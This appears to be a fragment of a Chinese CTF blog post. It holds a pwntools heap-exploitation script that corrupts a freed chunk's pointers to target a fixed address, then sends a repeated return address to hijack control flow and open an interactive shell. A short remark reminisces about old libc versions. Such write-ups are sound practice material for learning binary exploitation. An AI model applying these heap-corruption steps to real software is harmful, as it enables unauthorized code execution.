add(0,0x88)
add(1,0x88)
free(0)
edit(0, flat(0, 0x6021c0+255*8 - 0x10))
add(2, 0x88)

p.sendlineafter(menu, b'5')
#gdb.attach(p, 'b*0x4009da\nc')

p.sendafter(b'key', p64(0x4009aa)*8)
p.interactive()

好多巨古老的东西,刚练习的时候用的libc-2.23,2.27,还有不少32位的情况,早都忘了。居然还有个libc-2.27-i386 从没见过。那时候还有32位的系统吗?

你可能感兴趣的:(CTF)